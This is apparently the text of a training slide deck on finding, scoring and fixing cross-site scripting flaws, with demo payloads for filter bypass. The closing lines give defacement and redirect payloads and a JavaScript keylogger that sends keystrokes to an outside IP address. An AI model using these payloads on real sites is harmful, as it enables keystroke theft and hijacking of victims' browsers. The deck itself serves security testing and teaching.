3. XSS Review
• Risk level: Moderate
• Description: Cross-Site Scripting results from application parameters that
allow user-supplied input to be presented in subsequent responses. In
particular, when the application allows HTML and JavaScript special
characters to be reflected, an attacker can cause the victim to observe
different application behavior than expected.
• Exploitation vector: In XSS scenarios, the application allows attacker to use
the application as a launching point for attacks against victims’ workstations.
An attacker with knowledge of the vulnerability can construct URLs to
appropriate PACTS application pages that cause malicious activity within the
victim’s browser.
• Recommendation: Validate user-supplied input server-side. Sanitize special
characters (e.g., <, >, “, ‘, etc) prior to returning those values to a requesting
client.
4. XSS Test Cases - Formal
1. Submit payloads to each request parameter
2. Identify any instances of the application returning the
request parameter unmodified
3. Find the location within the HTML of the supplied
input and review the surrounding HTML to identify
potential payloads
4. Submit various possible payloads to the application
via identified parameters
5. If payloads are returned unmodified, confirm with a
browser
6. If the payloads are modified, attempt to bypass the
server-side filters
6. XSS Test Cases – In reality
1.
2.
3.
4.
Discover XSS - Tool(s)
Confirm existence
Show PoC (Alert popup)
Craft an exploit
– Filter?
– How easily is the exploit detected?
– Will the exploit run most or all of the time?
– What are factors that may not allow it to run?
5. With other Vulns
7. Discovering XSS
Using tools
– Pretty good, for reflective
– Some are better than others
– Even when they are good, they can only do so
much
– At best, PoC
– Don’t understand context
8. Context
What do we mean by context?
What… area of the application?
Where… in the page is the payload injected?
Who… is the client (User role AND browser)?
How…. will it be exploited?
10. XSS – Login Demo
• Simple page
– Enter username on one page and submit
– Enter password and submit
– Checks credentials
– Filters against <script> and variants
14. XSS without < or > - Demo
• Page has 6 different inputs, each one exploitable
• For demo purposes only, not meant to be practical or
realistic
• < and > are filtered
– All exploits must be done in context
15. XSS without < or > - Demo (cont)
Payloads
• Number: ';alert(1);a='
• Link: Test" onclick=alert(1) name="
• Image: a" onerror=alert(1) name=" ##
use onload instead?
20. CVSS Scoring Steps
• One tool finds it
– (Report Confidence: Unconfirmed; Exploitability:
Unproven that exploit exists)
• Two tools find it
– (Report Confidence: Uncorroborated)
• Manual verification in browser
– (Report Confidence: Confirmed)
• Popup
– (Exploitability: Proof of concept code)
• Exploit
– (Exploitability: Functional exploit exists)
21. CVSS Scoring Steps (Cont)
Impact Metrics; General Modifiers; Access Complexity;
Exploitability;
• Type of exploit
• Refined exploit
• Complimentary vulns
22. Remediation
• <>"'=;
• Properly Escape all untrusted
data based on context (Use a
anti-XSS library)
• Use Content Security Policy
23. Summary
• <script>alert(1);</script> isn’t enough to
discover XSS and evaluate risk
• Context – Context – Context
– of payloads
– of who the user is
– of location in application
– of relation to other vulns
Where? :HTML Body, HTM Attributes, GET parameter, SRC/HREF URL, CSS, JavaScript, DOM
Keep in mind, AJAX or URL shorteners may help in exploiting the vulnerability.Modify the page (Site defacement): '; document.title = 'Hacked!!!!'; a='Key Logger: '; document.onkeypress = function logKey(k) { new Image().src='http://156.132.142.11/log.jsp?data='%2bk.which; };var a='Redirect Browser (Forced Browsing): '; document.location="http://www.google.com"; a='